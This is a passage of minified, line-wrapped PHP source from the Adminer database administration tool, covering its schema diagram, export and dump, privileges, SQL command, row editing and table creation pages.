mns"]);$xe=array();forea
ch($u["columns"]as$y=>$X
)$xe[]="<i>".h($X)."</i>
".($u["lengths"][$y]?"("
.$u["lengths"][$y].")":"
").($u["descs"][$y]?" DE
SC":"");echo"<tr title='
".h($E)."'><th>$u[type]<
td>".implode(", ",$xe)."
\n";}echo"</table>\n";}e
cho'<p><a href="'.h(ME).
'indexes='.urlencode($a)
.'">'.'Alter indexes'."<
/a>\n";if(fk_support($R)
){echo"<h3 id='foreign-k
eys'>".'Foreign keys'."<
/h3>\n";$p=foreign_keys(
$a);if($p){echo"<table c
ellspacing='0'>\n","<the
ad><tr><th>".'Source'."<
td>".'Target'."<td>".'ON
 DELETE'."<td>".'ON UPDA
TE'.($x!="sqlite"?"<td>&
nbsp;":"")."</thead>\n";
foreach($p as$E=>$o){ech
o"<tr title='".h($E)."'>
","<th><i>".implode("</i
>, <i>",array_map('h',$o
["source"]))."</i>","<td
><a href='".h($o["db"]!=
""?preg_replace('~db=[^&
]*~',"db=".urlencode($o[
"db"]),ME):($o["ns"]!=""
?preg_replace('~ns=[^&]*
~',"ns=".urlencode($o["n
s"]),ME):ME))."table=".u
rlencode($o["table"])."'
>".($o["db"]!=""?"<b>".h
($o["db"])."</b>.":"").(
$o["ns"]!=""?"<b>".h($o[
"ns"])."</b>.":"").h($o[
"table"])."</a>","(<i>".
implode("</i>, <i>",arra
y_map('h',$o["target"]))
."</i>)","<td>".nbsp($o[
"on_delete"])."\n","<td>
".nbsp($o["on_update"]).
"\n",($x=="sqlite"?"":'<
td><a href="'.h(ME.'fore
ign='.urlencode($a).'&na
me='.urlencode($E)).'">'
.'Alter'.'</a>');}echo"<
/table>\n";}if($x!="sqli
te")echo'<p><a href="'.h
(ME).'foreign='.urlencod
e($a).'">'.'Add foreign 
key'."</a>\n";}if(suppor
t("trigger")){echo"<h3 i
d='triggers'>".'Triggers
'."</h3>\n";$Zf=triggers
($a);if($Zf){echo"<table
 cellspacing='0'>\n";for
each($Zf as$y=>$X)echo"<
tr valign='top'><td>$X[0
]<td>$X[1]<th>".h($y)."<
td><a href='".h(ME.'trig
ger='.urlencode($a).'&na
me='.urlencode($y))."'>"
.'Alter'."</a>\n";echo"<
/table>\n";}echo'<p><a h
ref="'.h(ME).'trigger='.
urlencode($a).'">'.'Add 
trigger'."</a>\n";}}}}el
seif(isset($_GET["schema
"])){page_header('Databa
se schema',"",array(),DB
.($_GET["ns"]?".$_GET[ns
]":""));$_f=array();$Af=
array();$E="adminer_sche
ma";$ea=($_GET["schema"]
?$_GET["schema"]:$_COOKI
E[($_COOKIE["$E-".DB]?"$
E-".DB:$E)]);preg_match_
all('~([^:]+):([-0-9.]+)
x([-0-9.]+)(_|$)~',$ea,$
ld,PREG_SET_ORDER);forea
ch($ld as$s=>$B){$_f[$B[
1]]=array($B[2],$B[3]);$
Af[]="\n\t'".js_escape($
B[1])."': [ $B[2], $B[3]
 ]";}$Sf=0;$_a=-1;$af=ar
ray();$Ke=array();$dd=ar
ray();foreach(table_stat
us('',true)as$Q=>$R){if(
is_view($R))continue;$qe
=0;$af[$Q]["fields"]=arr
ay();foreach(fields($Q)a
s$E=>$m){$qe+=1.25;$m["p
os"]=$qe;$af[$Q]["fields
"][$E]=$m;}$af[$Q]["pos"
]=($_f[$Q]?$_f[$Q]:array
($Sf,0));foreach($b->for
eignKeys($Q)as$X){if(!$X
["db"]){$bd=$_a;if($_f[$
Q][1]||$_f[$X["table"]][
1])$bd=min(floatval($_f[
$Q][1]),floatval($_f[$X[
"table"]][1]))-1;else$_a
-=.1;while($dd[(string)$
bd])$bd-=.0001;$af[$Q]["
references"][$X["table"]
][(string)$bd]=array($X[
"source"],$X["target"]);
$Ke[$X["table"]][$Q][(st
ring)$bd]=$X["target"];$
dd[(string)$bd]=true;}}$
Sf=max($Sf,$af[$Q]["pos"
][0]+2.5+$qe);}echo'<div
 id="schema" style="heig
ht: ',$Sf,'em;" onselect
start="return false;"> <
script type="text/javasc
ript"> var tablePos = {'
,implode(",",$Af)."\n",'
}; var em = document.get
ElementById(\'schema\').
offsetHeight / ',$Sf,'; 
document.onmousemove = s
chemaMousemove; document
.onmouseup = function (e
v) {  schemaMouseup(ev, 
\'',js_escape(DB),'\'); 
}; </script> ';foreach($
af as$E=>$Q){echo"<div c
lass='table' style='top:
 ".$Q["pos"][0]."em; lef
t: ".$Q["pos"][1]."em;' 
onmousedown='schemaMouse
down(this, event);'>",'<
a href="'.h(ME).'table='
.urlencode($E).'"><b>'.h
($E)."</b></a>";foreach(
$Q["fields"]as$m){$X='<s
pan'.type_class($m["type
"]).' title="'.h($m["ful
l_type"].($m["null"]?" N
ULL":'')).'">'.h($m["fie
ld"]).'</span>';echo"<br
>".($m["primary"]?"<i>$X
</i>":$X);}foreach((arra
y)$Q["references"]as$Ff=
>$Me){foreach($Me as$bd=
>$He){$cd=$bd-$_f[$E][1]
;$s=0;foreach($He[0]as$j
f)echo"\n<div class='ref
erences' title='".h($Ff)
."' id='refs$bd-".($s++)
."' style='left: $cd"."e
m; top: ".$Q["fields"][$
jf]["pos"]."em; padding-
top: .5em;'><div style='
border-top: 1px solid Gr
ay; width: ".(-$cd)."em;
'></div></div>";}}foreac
h((array)$Ke[$E]as$Ff=>$
Me){foreach($Me as$bd=>$
f){$cd=$bd-$_f[$E][1];$s
=0;foreach($f as$Ef)echo
"\n<div class='reference
s' title='".h($Ff)."' id
='refd$bd-".($s++)."' st
yle='left: $cd"."em; top
: ".$Q["fields"][$Ef]["p
os"]."em; height: 1.25em
; background: url(".h(pr
eg_replace("~\\?.*~","",
ME))."?file=arrow.gif) n
o-repeat right center;&a
mp;version=3.7.1'><div s
tyle='height: .5em; bord
er-bottom: 1px solid Gra
y; width: ".(-$cd)."em;'
></div></div>";}}echo"\n
</div>\n";}foreach($af a
s$E=>$Q){foreach((array)
$Q["references"]as$Ff=>$
Me){foreach($Me as$bd=>$
He){$xd=$Sf;$pd=-10;fore
ach($He[0]as$y=>$jf){$re
=$Q["pos"][0]+$Q["fields
"][$jf]["pos"];$se=$af[$
Ff]["pos"][0]+$af[$Ff]["
fields"][$He[1][$y]]["po
s"];$xd=min($xd,$re,$se)
;$pd=max($pd,$re,$se);}e
cho"<div class='referenc
es' id='refl$bd' style='
left: $bd"."em; top: $xd
"."em; padding: .5em 0;'
><div style='border-righ
t: 1px solid Gray; margi
n-top: 1px; height: ".($
pd-$xd)."em;'></div></di
v>\n";}}}echo'</div> <p>
<a href="',h(ME."schema=
".urlencode($ea)),'" id=
"schema-link">Permanent 
link</a> ';}elseif(isset
($_GET["dump"])){$a=$_GE
T["dump"];if($_POST&&!$l
){$cb="";foreach(array("
output","format","db_sty
le","routines","events",
"table_style","auto_incr
ement","triggers","data_
style")as$y)$cb.="&$y=".
urlencode($_POST[$y]);co
okie("adminer_export",su
bstr($cb,1));$S=array_fl
ip((array)$_POST["tables
"])+array_flip((array)$_
POST["data"]);$bc=dump_h
eaders((count($S)==1?key
($S):DB),(DB==""||count(
$S)>1));$Qc=ereg('sql',$
_POST["format"]);if($Qc)
echo"-- Adminer $ga ".$z
b[DRIVER]." dump  ".($x!
="sql"?"":"SET NAMES utf
8; ".($_POST["data_style
"]?"SET foreign_key_chec
ks = 0; SET time_zone = 
".q(substr(preg_replace(
'~^[^-]~','+\0',$g->resu
lt("SELECT TIMEDIFF(NOW(
), UTC_TIMESTAMP)")),0,6
))."; SET sql_mode = 'NO
_AUTO_VALUE_ON_ZERO'; ":
"")." ");$sf=$_POST["db_
style"];$j=array(DB);if(
DB==""){$j=$_POST["datab
ases"];if(is_string($j))
$j=explode("\n",rtrim(st
r_replace("\r","",$j),"\
n"));}foreach((array)$j 
as$k){$b->dumpDatabase($
k);if($g->select_db($k))
{if($Qc&&ereg('CREATE',$
sf)&&($i=$g->result("SHO
W CREATE DATABASE ".idf_
escape($k),1))){if($sf==
"DROP+CREATE")echo"DROP 
DATABASE IF EXISTS ".idf
_escape($k).";\n";echo"$
i;\n";}if($Qc){if($sf)ec
ho use_sql($k).";\n\n";$
ce="";if($_POST["routine
s"]){foreach(array("FUNC
TION","PROCEDURE")as$Ve)
{foreach(get_rows("SHOW 
$Ve STATUS WHERE Db = ".
q($k),null,"-- ")as$L)$c
e.=($sf!='DROP+CREATE'?"
DROP $Ve IF EXISTS ".idf
_escape($L["Name"]).";;\
n":"").remove_definer($g
->result("SHOW CREATE $V
e ".idf_escape($L["Name"
]),2)).";;\n\n";}}if($_P
OST["events"]){foreach(g
et_rows("SHOW EVENTS",nu
ll,"-- ")as$L)$ce.=($sf!
='DROP+CREATE'?"DROP EVE
NT IF EXISTS ".idf_escap
e($L["Name"]).";;\n":"")
.remove_definer($g->resu
lt("SHOW CREATE EVENT ".
idf_escape($L["Name"]),3
)).";;\n\n";}if($ce)echo
"DELIMITER ;;\n\n$ce"."D
ELIMITER ;\n\n";}if($_PO
ST["table_style"]||$_POS
T["data_style"]){$sg=arr
ay();foreach(table_statu
s('',true)as$E=>$R){$Q=(
DB==""||in_array($E,(arr
ay)$_POST["tables"]));$i
b=(DB==""||in_array($E,(
array)$_POST["data"]));i
f($Q||$ib){if($bc=="tar"
){$Qf=new TmpFile;ob_sta
rt(array($Qf,'write'),1e
5);}$b->dumpTable($E,($Q
?$_POST["table_style"]:"
"),(is_view($R)?2:0));if
(is_view($R))$sg[]=$E;el
seif($ib){$n=fields($E);
$b->dumpData($E,$_POST["
data_style"],"SELECT *".
convert_fields($n,$n)." 
FROM ".table($E));}if($Q
c&&$_POST["triggers"]&&$
Q&&($Zf=trigger_sql($E,$
_POST["table_style"])))e
cho"\nDELIMITER ;;\n$Zf\
nDELIMITER ;\n";if($bc==
"tar"){ob_end_flush();ta
r_file((DB!=""?"":"$k/")
."$E.csv",$Qf);}elseif($
Qc)echo"\n";}}foreach($s
g as$rg)$b->dumpTable($r
g,$_POST["table_style"],
1);if($bc=="tar")echo pa
ck("x512");}}}if($Qc)ech
o"-- ".$g->result("SELEC
T NOW()")."\n";exit;}pag
e_header('Export',$l,($_
GET["export"]!=""?array(
"table"=>$_GET["export"]
):array()),DB);echo' <fo
rm action="" method="pos
t"> <table cellspacing="
0"> ';$mb=array('','USE'
,'DROP+CREATE','CREATE')
;$Bf=array('','DROP+CREA
TE','CREATE');$jb=array(
'','TRUNCATE+INSERT','IN
SERT');if($x=="sql")$jb[
]='INSERT+UPDATE';parse_
str($_COOKIE["adminer_ex
port"],$L);if(!$L)$L=arr
ay("output"=>"text","for
mat"=>"sql","db_style"=>
(DB!=""?"":"CREATE"),"ta
ble_style"=>"DROP+CREATE
","data_style"=>"INSERT"
);if(!isset($L["events"]
)){$L["routines"]=$L["ev
ents"]=($_GET["dump"]=="
");$L["triggers"]=$L["ta
ble_style"];}echo"<tr><t
h>".'Output'."<td>".html
_select("output",$b->dum
pOutput(),$L["output"],0
)."\n";echo"<tr><th>".'F
ormat'."<td>".html_selec
t("format",$b->dumpForma
t(),$L["format"],0)."\n"
;echo($x=="sqlite"?"":"<
tr><th>".'Database'."<td
>".html_select('db_style
',$mb,$L["db_style"]).(s
upport("routine")?checkb
ox("routines",1,$L["rout
ines"],'Routines'):"").(
support("event")?checkbo
x("events",1,$L["events"
],'Events'):"")),"<tr><t
h>".'Tables'."<td>".html
_select('table_style',$B
f,$L["table_style"]).che
ckbox("auto_increment",1
,$L["auto_increment"],'A
uto Increment').(support
("trigger")?checkbox("tr
iggers",1,$L["triggers"]
,'Triggers'):""),"<tr><t
h>".'Data'."<td>".html_s
elect('data_style',$jb,$
L["data_style"]),'</tabl
e> <p><input type="submi
t" value="Export"> <inpu
t type="hidden" name="to
ken" value="',$T,'">  <t
able cellspacing="0"> ';
$ve=array();if(DB!=""){$
Ja=($a!=""?"":" checked"
);echo"<thead><tr>","<th
 style='text-align: left
;'><label class='block'>
<input type='checkbox' i
d='check-tables'$Ja oncl
ick='formCheck(this, /^t
ables\\[/);'>".'Tables'.
"</label>","<th style='t
ext-align: right;'><labe
l class='block'>".'Data'
."<input type='checkbox'
 id='check-data'$Ja oncl
ick='formCheck(this, /^d
ata\\[/);'></label>","</
thead>\n";$sg="";$Cf=tab
les_list();foreach($Cf a
s$E=>$U){$ue=ereg_replac
e("_.*","",$E);$Ja=($a==
""||$a==(substr($a,-1)==
"%"?"$ue%":$E));$xe="<tr
><td>".checkbox("tables[
]",$E,$Ja,$E,"checkboxCl
ick(event, this); formUn
check('check-tables');",
"block");if($U!==null&&!
eregi("table",$U))$sg.="
$xe\n";else echo"$xe<td 
align='right'><label cla
ss='block'><span id='Row
s-".h($E)."'></span>".ch
eckbox("data[]",$E,$Ja,"
","checkboxClick(event, 
this); formUncheck('chec
k-data');")."</label>\n"
;$ve[$ue]++;}echo$sg;if(
$Cf)echo"<script type='t
ext/javascript'>ajaxSetH
tml('".js_escape(ME)."sc
ript=db');</script>\n";}
else{echo"<thead><tr><th
 style='text-align: left
;'><label class='block'>
<input type='checkbox' i
d='check-databases'".($a
==""?" checked":"")." on
click='formCheck(this, /
^databases\\[/);'>".'Dat
abase'."</label></thead>
\n";$j=$b->databases();i
f($j){foreach($j as$k){i
f(!information_schema($k
)){$ue=ereg_replace("_.*
","",$k);echo"<tr><td>".
checkbox("databases[]",$
k,$a==""||$a=="$ue%",$k,
"formUncheck('check-data
bases');","block")."\n";
$ve[$ue]++;}}}else echo"
<tr><td><textarea name='
databases' rows='10' col
s='20'></textarea>";}ech
o'</table> </form> ';$kc
=true;foreach($ve as$y=>
$X){if($y!=""&&$X>1){ech
o($kc?"<p>":" ")."<a hre
f='".h(ME)."dump=".urlen
code("$y%")."'>".h($y)."
</a>";$kc=false;}}}elsei
f(isset($_GET["privilege
s"])){page_header('Privi
leges');$J=$g->query("SE
LECT User, Host FROM mys
ql.".(DB==""?"user":"db 
WHERE ".q(DB)." LIKE Db"
)." ORDER BY Host, User"
);$r=$J;if(!$J)$J=$g->qu
ery("SELECT SUBSTRING_IN
DEX(CURRENT_USER, '@', 1
) AS User, SUBSTRING_IND
EX(CURRENT_USER, '@', -1
) AS Host");echo"<form a
ction=''><p>\n";hidden_f
ields_get();echo"<input 
type='hidden' name='db' 
value='".h(DB)."'>\n",($
r?"":"<input type='hidde
n' name='grant' value=''
>\n"),"<table cellspacin
g='0'>\n","<thead><tr><t
h>".'Username'."<th>".'S
erver'."<th>&nbsp;</thea
d>\n";while($L=$J->fetch
_assoc())echo'<tr'.odd()
.'><td>'.h($L["User"])."
<td>".h($L["Host"]).'<td
><a href="'.h(ME.'user='
.urlencode($L["User"]).'
&host='.urlencode($L["Ho
st"])).'">'.'Edit'."</a>
\n";if(!$r||DB!="")echo"
<tr".odd()."><td><input 
name='user' autocapitali
ze='off'><td><input name
='host' value='localhost
' autocapitalize='off'><
td><input type='submit' 
value='".'Edit'."'>\n";e
cho"</table>\n","</form>
\n",'<p><a href="'.h(ME)
.'user=">'.'Create user'
."</a>";}elseif(isset($_
GET["sql"])){if(!$l&&$_P
OST["export"]){dump_head
ers("sql");$b->dumpTable
("","");$b->dumpData("",
"table",$_POST["query"])
;exit;}restart_session()
;$Cc=&get_session("queri
es");$Bc=&$Cc[DB];if(!$l
&&$_POST["clear"]){$Bc=a
rray();redirect(remove_f
rom_uri("history"));}pag
e_header('SQL command',$
l);if(!$l&&$_POST){$rc=f
alse;$I=$_POST["query"];
if($_POST["webfile"]){$r
c=@fopen((file_exists("a
dminer.sql")?"adminer.sq
l":"compress.zlib://admi
ner.sql.gz"),"rb");$I=($
rc?fread($rc,1e6):false)
;}elseif($_FILES&&$_FILE
S["sql_file"]["error"][0
]!=4)$I=get_file("sql_fi
le",true);if(is_string($
I)){if(function_exists('
memory_get_usage'))@ini_
set("memory_limit",max(i
ni_bytes("memory_limit")
,2*strlen($I)+memory_get
_usage()+8e6));if($I!=""
&&strlen($I)<1e6){$H=$I.
(ereg(";[ \t\r\n]*\$",$I
)?"":";");if(!$Bc||reset
(end($Bc))!=$H){restart_
session();$Bc[]=array($H
,time());set_session("qu
eries",$Cc);stop_session
();}}$kf="(?:\\s|/\\*.*\
\*/|(?:#|-- )[^\n]*\n|--
\n)";$qb=";";$Hd=0;$Lb=t
rue;$h=connect();if(is_o
bject($h)&&DB!="")$h->se
lect_db(DB);$Ua=0;$Rb=ar
ray();$hd=0;$he='[\'"'.(
$x=="sql"?'`#':($x=="sql
ite"?'`[':($x=="mssql"?'
[':''))).']|/\\*|-- |$'.
($x=="pgsql"?'|\\$[^$]*\
\$':'');$Tf=microtime();
parse_str($_COOKIE["admi
ner_export"],$ka);$Db=$b
->dumpFormat();unset($Db
["sql"]);while($I!=""){i
f(!$Hd&&preg_match("~^$k
f*DELIMITER\\s+(\\S+)~i"
,$I,$B)){$qb=$B[1];$I=su
bstr($I,strlen($B[0]));}
else{preg_match('('.preg
_quote($qb)."\\s*|$he)",
$I,$B,PREG_OFFSET_CAPTUR
E,$Hd);list($pc,$qe)=$B[
0];if(!$pc&&$rc&&!feof($
rc))$I.=fread($rc,1e5);e
lse{if(!$pc&&rtrim($I)==
"")break;$Hd=$qe+strlen(
$pc);if($pc&&rtrim($pc)!
=$qb){while(preg_match('
('.($pc=='/*'?'\\*/':($p
c=='['?']':(ereg('^-- |^
#',$pc)?"\n":preg_quote(
$pc)."|\\\\."))).'|$)s',
$I,$B,PREG_OFFSET_CAPTUR
E,$Hd)){$Ye=$B[0][0];if(
!$Ye&&$rc&&!feof($rc))$I
.=fread($rc,1e5);else{$H
d=$B[0][1]+strlen($Ye);i
f($Ye[0]!="\\")break;}}}
else{$Lb=false;$H=substr
($I,0,$qe);$Ua++;$xe="<p
re id='sql-$Ua'><code cl
ass='jush-$x'>".shorten_
utf8(trim($H),1000)."</c
ode></pre>\n";if(!$_POST
["only_errors"]){echo$xe
;ob_flush();flush();}$mf
=microtime();if($g->mult
i_query($H)&&is_object($
h)&&preg_match("~^$kf*US
E\\b~isU",$H))$h->query(
$H);do{$J=$g->store_resu
lt();$Mb=microtime();$Kf
=" <span class='time'>("
.format_time($mf,$Mb).")
</span>".(strlen($H)<100
0?" <a href='".h(ME)."sq
l=".urlencode(trim($H)).
"'>".'Edit'."</a>":"");i
f($g->error){echo($_POST
["only_errors"]?$xe:""),
"<p class='error'>".'Err
or in query'.($g->errno?
" ($g->errno)":"").": ".
error()."\n";$Rb[]=" <a 
href='#sql-$Ua'>$Ua</a>"
;if($_POST["error_stops"
])break 2;}elseif(is_obj
ect($J)){$Yd=select($J,$
h);if(!$_POST["only_erro
rs"]){echo"<form action=
'' method='post'>\n","<p
>".($J->num_rows?lang(ar
ray('%d row','%d rows'),
$J->num_rows):"").$Kf;$t
="export-$Ua";$ac=", <a 
href='#$t' onclick=\"ret
urn !toggle('$t');\">".'
Export'."</a><span id='$
t' class='hidden'>: ".ht
ml_select("output",$b->d
umpOutput(),$ka["output"
])." ".html_select("form
at",$Db,$ka["format"])."
<input type='hidden' nam
e='query' value='".h($H)
."'>"." <input type='sub
mit' name='export' value
='".'Export'."'><input t
ype='hidden' name='token
' value='$T'></span>\n";
if($h&&preg_match("~^($k
f|\\()*SELECT\\b~isU",$H
)&&($Zb=explain($h,$H)))
{$t="explain-$Ua";echo",
 <a href='#$t' onclick=\
"return !toggle('$t');\"
>EXPLAIN</a>$ac","<div i
d='$t' class='hidden'>\n
";select($Zb,$h,($x=="sq
l"?"http://dev.mysql.com
/doc/refman/".substr($g-
>server_info,0,3)."/en/e
xplain-output.html#expla
in_":""),$Yd);echo"</div
>\n";}else echo$ac;echo"
</form>\n";}}else{if(pre
g_match("~^$kf*(CREATE|D
ROP|ALTER)$kf+(DATABASE|
SCHEMA)\\b~isU",$H)){res
tart_session();set_sessi
on("dbs",null);stop_sess
ion();}if(!$_POST["only_
errors"])echo"<p class='
message' title='".h($g->
info)."'>".lang(array('Q
uery executed OK, %d row
 affected.','Query execu
ted OK, %d rows affected
.'),$g->affected_rows)."
$Kf\n";}$mf=$Mb;}while($
g->next_result());$hd+=s
ubstr_count($H.$pc,"\n")
;$I=substr($I,$Hd);$Hd=0
;}}}}if($Lb)echo"<p clas
s='message'>".'No comman
ds to execute.'."\n";els
eif($_POST["only_errors"
]){echo"<p class='messag
e'>".lang(array('%d quer
y executed OK.','%d quer
ies executed OK.'),$Ua-c
ount($Rb))," <span class
='time'>(".format_time($
Tf,microtime()).")</span
>\n";}elseif($Rb&&$Ua>1)
echo"<p class='error'>".
'Error in query'.": ".im
plode("",$Rb)."\n";}else
 echo"<p class='error'>"
.upload_error($I)."\n";}
echo' <form action="" me
thod="post" enctype="mul
tipart/form-data" id="fo
rm"> <p>';$H=$_GET["sql"
];if($_POST)$H=$_POST["q
uery"];elseif($_GET["his
tory"]=="all")$H=$Bc;els
eif($_GET["history"]!=""
)$H=$Bc[$_GET["history"]
][0];textarea("query",$H
,20);echo($_POST?"":"<sc
ript type='text/javascri
pt'>focus(document.getEl
ementsByTagName('textare
a')[0]);</script>\n"),"<
p>".(ini_bool("file_uplo
ads")?'File upload'.': <
input type="file" name="
sql_file[]" multiple'.($
_FILES&&$_FILES["sql_fil
e"]["error"][0]!=4?'':' 
onchange="this.form[\'on
ly_errors\'].checked = t
rue;"').'> (&lt; '.ini_g
et("upload_max_filesize"
).'B)':'File uploads are
 disabled.'),'<p> <input
 type="submit" value="Ex
ecute" title="Ctrl+Enter
"> ',checkbox("error_sto
ps",1,$_POST["error_stop
s"],'Stop on error')."\n
",checkbox("only_errors"
,1,$_POST["only_errors"]
,'Show only errors')."\n
";print_fieldset("webfil
e",'From server',$_POST[
"webfile"],"document.get
ElementById('form')['onl
y_errors'].checked = tru
e; ");echo sprintf('Webs
erver file %s',"<code>ad
miner.sql".(extension_lo
aded("zlib")?"[.gz]":"")
."</code>"),' <input typ
e="submit" name="webfile
" value="'.'Run file'.'"
>',"</div></fieldset>\n"
;if($Bc){print_fieldset(
"history",'History',$_GE
T["history"]!="");for($X
=end($Bc);$X;$X=prev($Bc
)){$y=key($Bc);list($H,$
Kf)=$X;echo'<a href="'.h
(ME."sql=&history=$y").'
">'.'Edit'."</a> <span c
lass='time' title='".@da
te('Y-m-d',$Kf)."'>".@da
te("H:i:s",$Kf)."</span>
 <code class='jush-$x'>"
.shorten_utf8(ltrim(str_
replace("\n"," ",str_rep
lace("\r","",preg_replac
e('~^(#|-- ).*~m','',$H)
))),80,"</code>")."<br>\
n";}echo"<input type='su
bmit' name='clear' value
='".'Clear'."'>\n","<a h
ref='".h(ME."sql=&histor
y=all")."'>".'Edit all'.
"</a>\n","</div></fields
et>\n";}echo'<input type
="hidden" name="token" v
alue="',$T,'"> </form> '
;}elseif(isset($_GET["ed
it"])){$a=$_GET["edit"];
$n=fields($a);$Z=(isset(
$_GET["select"])?(count(
$_POST["check"])==1?wher
e_check($_POST["check"][
0],$n):""):where($_GET,$
n));$kg=(isset($_GET["se
lect"])?$_POST["edit"]:$
Z);foreach($n as$E=>$m){
if(!isset($m["privileges
"][$kg?"update":"insert"
])||$b->fieldName($m)=="
")unset($n[$E]);}if($_PO
ST&&!$l&&!isset($_GET["s
elect"])){$A=$_POST["ref
erer"];if($_POST["insert
"])$A=($kg?null:$_SERVER
["REQUEST_URI"]);elseif(
!ereg('^.+&select=.+$',$
A))$A=ME."select=".urlen
code($a);$v=indexes($a);
$fg=unique_array($_GET["
where"],$v);$Ee="\nWHERE
 $Z";if(isset($_POST["de
lete"])){$I="FROM ".tabl
e($a);query_redirect("DE
LETE".($fg?" $I$Ee":limi
t1($I,$Ee)),$A,'Item has
 been deleted.');}else{$
P=array();foreach($n as$
E=>$m){$X=process_input(
$m);if($X!==false&&$X!==
null)$P[idf_escape($E)]=
($kg?"\n".idf_escape($E)
." = $X":$X);}if($kg){if
(!$P)redirect($A);$I=tab
le($a)." SET".implode(",
",$P);query_redirect("UP
DATE".($fg?" $I$Ee":limi
t1($I,$Ee)),$A,'Item has
 been updated.');}else{$
J=insert_into($a,$P);$ad
=($J?last_id():0);querie
s_redirect($A,sprintf('I
tem%s has been inserted.
',($ad?" $ad":"")),$J);}
}}$zf=$b->tableName(tabl
e_status1($a,true));page
_header(($kg?'Edit':'Ins
ert'),$l,array("select"=
>array($a,$zf)),$zf);$L=
null;if($_POST["save"])$
L=(array)$_POST["fields"
];elseif($Z){$N=array();
foreach($n as$E=>$m){if(
isset($m["privileges"]["
select"])){$sa=convert_f
ield($m);if($_POST["clon
e"]&&$m["auto_increment"
])$sa="''";if($x=="sql"&
&ereg("enum|set",$m["typ
e"]))$sa="1*".idf_escape
($E);$N[]=($sa?"$sa AS "
:"").idf_escape($E);}}$L
=array();if($N){$M=get_r
ows("SELECT".limit(implo
de(", ",$N)." FROM ".tab
le($a)," WHERE $Z",(isse
t($_GET["select"])?2:1))
);$L=(isset($_GET["selec
t"])&&count($M)!=1?null:
reset($M));}}if($L===fal
se)echo"<p class='error'
>".'No rows.'."\n";echo'
 <form action="" method=
"post" enctype="multipar
t/form-data" id="form"> 
';if(!$n)echo"<p class='
error'>".'You have no pr
ivileges to update this 
table.'."\n";else{echo"<
table cellspacing='0' on
keydown='return editingK
eydown(event);'>\n";fore
ach($n as$E=>$m){echo"<t
r><th>".$b->fieldName($m
);$pb=$_GET["set"][brack
et_escape($E)];if($pb===
null){$pb=$m["default"];
if($m["type"]=="bit"&&er
eg("^b'([01]*)'\$",$pb,$
Ne))$pb=$Ne[1];}$Y=($L!=
=null?($L[$E]!=""&&$x=="
sql"&&ereg("enum|set",$m
["type"])?(is_array($L[$
E])?array_sum($L[$E]):+$
L[$E]):$L[$E]):(!$kg&&$m
["auto_increment"]?"":(i
sset($_GET["select"])?fa
lse:$pb)));if(!$_POST["s
ave"]&&is_string($Y))$Y=
$b->editVal($Y,$m);$q=($
_POST["save"]?(string)$_
POST["function"][$E]:($k
g&&$m["on_update"]=="CUR
RENT_TIMESTAMP"?"now":($
Y===false?null:($Y!==nul
l?'':'NULL'))));if(ereg(
"time",$m["type"])&&$Y==
"CURRENT_TIMESTAMP"){$Y=
"";$q="now";}input($m,$Y
,$q);echo"\n";}echo"</ta
ble>\n";}echo'<p> ';if($
n){echo"<input type='sub
mit' value='".'Save'."'>
\n";if(!isset($_GET["sel
ect"]))echo"<input type=
'submit' name='insert' v
alue='".($kg?'Save and c
ontinue edit':'Save and 
insert next')."' title='
Ctrl+Shift+Enter'>\n";}e
cho($kg?"<input type='su
bmit' name='delete' valu
e='".'Delete'."' onclick
=\"return confirm('".'Ar
e you sure?'."');\">\n":
($_POST||!$n?"":"<script
 type='text/javascript'>
focus(document.getElemen
tById('form').getElement
sByTagName('td')[1].firs
tChild);</script>\n"));i
f(isset($_GET["select"])
)hidden_fields(array("ch
eck"=>(array)$_POST["che
ck"],"clone"=>$_POST["cl
one"],"all"=>$_POST["all
"]));echo'<input type="h
idden" name="referer" va
lue="',h(isset($_POST["r
eferer"])?$_POST["refere
r"]:$_SERVER["HTTP_REFER
ER"]),'"> <input type="h
idden" name="save" value
="1"> <input type="hidde
n" name="token" value="'
,$T,'"> </form> ';}elsei
f(isset($_GET["create"])
){$a=$_GET["create"];$ie
=array('HASH','LINEAR HA
SH','KEY','LINEAR KEY','
RANGE','LIST');$Je=refer
encable_primary($a);$p=a
rray();foreach($Je as$zf
=>$m)$p[str_replace("`",
"``",$zf)."`".str_replac
e("`","``",$m["field"])]
=$zf;$be=array();$R=arra
y();if($a!=""){$be=field
s($a);$R=table_status($a
);if(!$R)$l='No tables.'
;}$L=$_POST;$L["fields"]
=(array)$L["fields"];if(
$L["auto_increment_col"]
)$L["fields"][$L["auto_i
ncrement_col"]]["auto_in
crement"]=true;if($_POST
&&!process_fields($L["fi
elds"])&&!$l){if($_POST[
"drop"])query_redirect("
DROP TABLE ".table($a),s
ubstr(ME,0,-1),'Table ha
s been dropped.');else{$
n=array();$qa=array();$m
g=false;$mc=array();ksor
t($L["fields"]);$ae=rese
t($be);$oa=" FIRST";fore
ach($L["fields"]as$y=>$m
){$o=$p[$m["type"]];$ag=
($o!==null?$Je[$o]:$m);i
f($m["field"]!=""){if(!$
m["has_default"])$m["def
ault"]=null;if($y==$L["a
uto_increment_col"])$m["
auto_increment"]=true;$B
e=process_field($m,$ag);
$qa[]=array($m["orig"],$
Be,$oa);if($Be!=process_
field($ae,$ae)){$n[]=arr
ay($m["orig"],$Be,$oa);i
f($m["orig"]!=""||$oa)$m
g=true;}if($o!==null)$mc
[idf_escape($m["field"])
]=($a!=""&&$x!="sqlite"?
"ADD":" ")." FOREIGN KEY
 (".idf_escape($m["field
"]).") REFERENCES ".tabl
e($p[$m["type"]])." (".i
df_escape($ag["field"]).
")".(ereg("^($Od)\$",$m[
"on_delete"])?" ON DELET
E $m[on_delete]":"");$oa
=" AFTER ".idf_escape($m
["field"]);}elseif($m["o
rig"]!=""){$mg=true;$n[]
=array($m["orig"]);}if($
m["orig"]!=""){$ae=next(
$be);if(!$ae)$oa="";}}$k
e="";if(in_array($L["par
tition_by"],$ie)){$le=ar
ray();if($L["partition_b
y"]=='RANGE'||$L["partit
ion_by"]=='LIST'){foreac
h(array_filter($L["parti
tion_names"])as$y=>$X){$
Y=$L["partition_values"]
[$y];$le[]="\n  PARTITIO
N ".idf_escape($X)." VAL
UES ".($L["partition_by"
]=='RANGE'?"LESS THAN":"
IN").($Y!=""?" ($Y)":" M
AXVALUE");}}$ke.="\nPART
ITION BY $L[partition_by
]($L[partition])".($le?"
 (".implode(",",$le)."\n
)":($L["partitions"]?" P
ARTITIONS ".(+$L["partit
ions"]):""));}elseif(sup
port("partitioning")&&er
eg("partitioned",$R["Cre
ate_options"]))$ke.="\nR
EMOVE PARTITIONING";$C='
Table has been altered.'
;if($a==""){cookie("admi
ner_engine",$L["Engine"]
);$C='Table has been cre
